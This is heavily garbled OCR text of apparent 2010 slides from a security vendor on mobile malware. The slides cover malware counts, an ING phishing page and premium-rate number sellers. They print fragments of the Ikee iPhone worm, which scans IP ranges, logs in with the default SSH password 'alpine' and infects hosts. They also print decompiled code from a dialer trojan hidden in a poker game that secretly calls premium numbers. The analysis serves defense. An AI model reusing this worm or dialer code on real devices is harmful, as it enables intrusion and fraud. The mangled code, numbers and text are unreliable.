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Smartphone market shares in 2009

Microsoft 13% ® Apple
: ® Android
' ® Others
= Palm
uRIM
" Symbian

Data source: Canalys

d
F-Secure "




s

NOKIA vs @

Nokia: invisible

Apple: very visible

Nokia sold 21,5 Million smartphones in Q1/2010
Apple sold 8,7 Million smartphones in Q1/2010
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Mobile Security - Where are we
today?
» First mobile malware found in 2004

* Now: 516 viruses, worms and trojans for mobile
platforms

» Targeting the most common platforms

* No exploit-based malware,
* Real problems elsewhere

* Lost, broken or stoien phong
» So: A success story!
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Mobile Malware by Platform

Total:
Symbian:
Windows:
J2ME:
iPhone:
Android:

516
4 6 3 . re by platform

2
1

Ty
F-Secure "

14



40,000,000 PC malware vs 500 mobile
malware

Moon Earth
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So, why aren't we seeing more Mobile
attacks?

» Low-hanging fruit is elsewhere

« Why would the attackers target anything else than

Windows XP?
Top Operating System Share Trend May, 2010
'@__-ID Timeframe ~ = ExportTo v  Options v <emoed/> | (1] (& g5 ) | [ tew |

May 10
Ewirdows X Blwindows Vists lwindows7  Bimec 05 X106 M Mec 05 X105 I Linux I Other
May, 2010 62.55% 15.25% 12.68% 234% 1.96%  143%  409%

Report generated Tuesday, June 29, 2010 1:33:04 PM
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iPhone worm lkee

* Found on 8th of November 2009
Written by an Australian hobbyist

Hits jailbroken iPhones

Uses a known ssh password

Rickrolls the phone

o Ashley Towns

// iPhone default pass worm by ikex

/4 Thi= code i= CLOSED source.
// And very hacky, i just needed it to work.

// Thanks to alan3423432432 haha for helping me work out my flaws in C

#include "main.h"

int fdlock:

// randHost(): Returns a random IP Address XXX.XXX.XXX.XXX

-
-
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exit(EXIT_FAILURE);

else if (pid > 9)
exit(EXIT_SUCCESS);

umask{8);

sid = setsid();
=/
if{get_lock() == 8) {

syYslog(LOG_DEBUG, I kKnow when im not wanted *sniff=");

return 1; } // Already running.
sleep{(60); // Lets wait for the network to come up 2 MINS
syslog(LOG_DEBUG, "IIIIIII Just want to tell you how im feeling");
//char ipRange[25°, L =
char =locRanges - getAddrRange();
"202.81.64.0-202.81.79.255";
*23.98.128.0-123.98.143.255";
"120.16.8.8-129.23.255.255";
“114.72.0.0-114.75.255.255";
"203.2.75.0-203.2.75.255";
"210.49.0.0-210.49.255.255";
"203.17.140.0-203.17.140.255";
char =optRanges "“203.17.138.0-203.17.138.255";
char =optRanges "211.28.0.0-211.31.255.255";
char =telRanges = “58.160.0.8-58.175.255.25";

Fiohar sattBana. - = 29 A 0 _A-99 _9CLC _J9CEC _9SCE*. 77 °
J4CNar ®=3TInang. P PR -

char wlanRanges = "192_168.0_0-192_168_255_255"; // #172_.16.0.0-172.31_.255.255 Ehh who uses it

char =vodRanges
char »vodRanges
char =vodRanges
char =optRanges
char =optRanges
char =optRanges
char =optRanges

LN BN BN BN BN BN B B

L
©
w
-
@0

syslog(LOG_DEBUG, "awpadqdogjdqjwiodjqoi aaaht™);
ChangeOnBoot();

KillSSHD();
// Local First
while (1)
{
syslog(LOG_DEBUG, *“Checking out the local scene yo™);
scanner(locRanges);
syslog(LOG_DEBUG, “Random baby");
int i;

Enr {i=0- 3 (= 2- js+s)
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FLLId
#tinclude <stdlib.h>
#tinclude <unistd.h>
#include <errno.h>
#include <string.h>
#tinclude <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#tinclude <time.h>
#tinclude <fcntl.h>
#tinclude <syslog.h>
ftinclude <{ifaddrs.h>

HinrnTudan Launalinak kY
MLIILALUUT Sai pays iiic e .ns

#idefine UULN_PAS ‘“alpine”
#define MAN_NUM -

void scanner(char =ipRange);

int tokenise (char input[], char xtoken[], char=
char =getAddrRange();

int get_lock(void);

char =*randHost(void);

int scanHost(char* host);

int checkHost(char =host);

int runCommand({char* command, char =host);

int prunCommand{char= command, char =host);

int CopyFile(charx src, charx dst, charx host);
int infectHost(char =host);

int ChangeOnBoot();

int KillSSHD();

spl);
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ek b Ml enserdce b Comact

Particulier | Zakeliji

Betalen  Spaen  Beleggen  Hypotheken

Komt uw spaar
€l

Speciaal voor
+ Parzonal Banking
* Private Banking

* Studantan

+ Jangeren

Verzeketen  Lenen

Rdvies

Persioonen

¥ Inloggen Mijn ING
¥ Maor over Infermoankienen

Nicuwe botaallarieven
Maximale hypothoek
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Inloggen Mijn ING

Particulier I Zakelijle

Kies de manier van inloggen die voor u van toepassing is.
— Y g9 i P g -

1 Dent
Wilt u voor het eerst inloggen? Dan heeft u informatie ontvangen over hoe u dit kunt doen. l

i wuni hier aiieen inioggen ais u in hei bezii beni van een
beveiligingscalculator,

Let op: als u een gebruikersnaam en wachtwoord heef,

Wachtwoord [I] kunt u niet kiezen voor inloggen met calculator.
Onthoud mijn
@ 1 gebikamnaam op deze
compuler
Inlogeodes vergetan? » Inloggen met calculator
W Veel . nld
23 novernber 2009 Lel op: Valse e-mails in omloop & Aanval op

fanvagen Min ING kr IPhon:

nGeancny. ]l | O
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€ 2 C v bes//210.233.73.206/nternetbankieren/

ING

Inloggen Mijn ING

Particulier I Zakelijle

— Kies de manier van inloggen die voor u van toepassing is.

Fies de manier van ggen die U gewend beni
l Wilt u voor het eerst inloggen? Dan heeft u informatie ontvangen over hoe u dit kunt doen. l
nioggon mot gebrukersnaam on wachiwoord || Naar inloggen met calculator |

L kunt hier alleen inloggen als u in het beat bent van
ok e ard

i wuni hier aiieen inioggen ais u in hei bezii beni van een

beveiligingscalculator.
Gebruiker snaam [ r— .
Let op: als u een gebruikersnaam en wachtwoord heeft,
Wachtwoord [I] kunt u niet kiezen voor inloggen met calculator.
Onthoud mijn
@ T gebiamnaam op deze
compuler
Inlggeodes verqeten?

¢ Inleggen met calculator

iy

>
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Thread Tools w | Search this Thread w | Display Modes »

® 22nd March 2010, 08:52 AM

Join Date: Jan 2010
smudgelab ¢ [OP] Posts: 38

Member

/1\ Phone dialled out internaionally without permission!

= waremlemm

wrimed Ame Faies
i . VRS

Da =il - - b
[\Eﬂllr wIich Hic una - vTa2> ¥V I.l,'

Internatlonal ialling is not currently permitted fr
aprox' 02.40 on Suday AM, it fair shook me out of
phone I found the follnwmg call history:

1 001291291 A4 /A MOAA
TUODL LIS LIS AT WY US .7 TT

+88213213214 @ 02:36
+1(767)503-3611 @ 02
+1(767)503-3611 @ 02:
+1{767)503-3611 @ 02:
+8823460777 @ 02:35
I have absolutely no idea who or what these numbers are for (Google suggests
+882 may be something to do with satellite phones(1?) & +1767 appears to be a
Dominican country code(!!??) but it was very unnerving to see my phone has
been trying to ring these without any input from me. I'll be onto Virgin mobile
later to see if they can help but thought I'd try the collective wisdom of you guys
first. Virus / dialler maybe? Do these even exist for win mo phones? Any help wil
be very much appreciated. Thank you.
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int num3 = (int) key.GetValue("Status®);
if ((num5 == 1) && (Assembly.GetExecutingAssembly().GetName().CodeBase
{
Phone phone = new Phone();
phone. Talk("+8823460777);
Thread.Sleep(0xc350);
phone.Talk("+176750336117),
Thread.Sleep{0xc350);
phone.Talk(*+882132132147),
Thread.Sleep(0xc350);
phone. Talk("+25240221601");
Thread.Sleep(0xc350);

s Talli® 2 AOAIOIIO L
PIRGTIC. | O TLJTLLUILY |

Thread.Sleep(0xc350);

phone.Talk("+881842011123");

long numé = DateTime.Now.AddMonths(1).ToFileTime();
long num7 = OL;

FieTimeTolLocalFleTime(ref numé, ref num7),
SystemTime time6 = new SystemTime();
FieTimeToSystemTime(ref num7, time6);
CeRunAppAlTime(@ " \Windows\smart32.exe”, time6);
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PDA Poker Art

PrRwA i!‘g(/\]i 1'._"1m‘, A\ AT

st L

NEW GAME
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TN T
“THELP / STATISTICS

To call: 200 - Min-Raise: 400

Raise Fold
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HOME | ABOUTUS | OURSOLUTIONS | NEWS & SPECIAL OFFERS | FAQ | CONTACT

maxtistelecom

world leader Ia premium rate numbers

your daily revenue

$1.746,75

Test our terminations
Complete your order form

Get started immediately!

LS N I )

L SEC] e oS

2 ew eclusie letminations!

Tajikistan +33237230xxx
Mew Latwia « 371685040

&d on

International Premium Rates

« Highest payouts
« On-line reports

« Over 30 terminations

Enanue

CHUOEEEN
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£ _G Okerzone—miemeds.oor_n,’mex.pm

2 | Terminations | Live vo

| aboutus

Keyzone Company Limited iz an
intérnational voice carrier working with

billing solutions

for the telemedia Industry

ZAIRE +243 123/ 243 42 / 243127
261 22

NIGER +227

MORE DETALS

jonal PTT's, Mabile
and long distance alternative carriers for the
wholesale of voice minutes.

Keyzone-Telemedia is focused on
international premium numbers as an

afternative biling mode for conterd providers

read more

Welcome how it works
to keyzone-telemedial I
Keyzone-Telemedia allocales the content - Woice /Data
provider with an appropriate termination - Diverse traffic delfivery methods
le from the country(s) the - Hosting
service provider wishes to promote &'s - Payout
Services in. - Set up fee
- Special solstions
Keyzone-Telemedia pays every second - Terms and conditions
sErvice provider ales on a termination
number and chents with Tve”
mm%fumﬁsofualmw i
date, termination number and origin, )
Subseribe 1o Hewsjotter;
Meyzone-Telemedia can also assist contert
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——
_E Guinea Bissau 295 30 - 45 Days EOM 2454500000
Q 11 virtual premiom ] Weekly +9-609613016
a It virtual premium 9 Wieekly +9-809700152

i heory Coast mn 30 - 45 Days EOM + TS 1700200
E Kanya 254 — P—

— Latvia mn 30 - 45 Days EOM +371--85158600

__ Latwia m 30 - 45 Days EOM + 37 515500
—- Lischtenstein 4218 30 - 45 Days EOM + 4238701270
| S—

- Lithuaria 370 Weekly + 37001022401
i Madagascar LR #i L] Weakly + 281-221800000
-

- Madagascar =221 30 - 45 Days EOM + 261-221000000
_. Madagascar 261--2211 30 - 45 Days EOM +261-221100000
__ Naurs 674 30 - 45 Days EOM + 6746390870

@ NEW Oestion Smelite 882 32 80 Days EOM
i North Korea 850.69 30 - 45 Days EOM + 850-99921220

.‘ l Norfolk Island 672 30 - 60 Days EOM + 672-372440
——

| Poland Premium 412 30 - 45 Days EOM +45-221983500
TI Remania Special Service 40 N2 30 - 30 Days EOM + -1 2990000

Sa0 Tome b 30 - 45 Days EOM +230-208500

F-Secure ';'
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What to do?

* The problem isn't big, yet

It's not going to get better

Set up policies

Educate your users
Lock down your devices ]

Buy expensive security products

37
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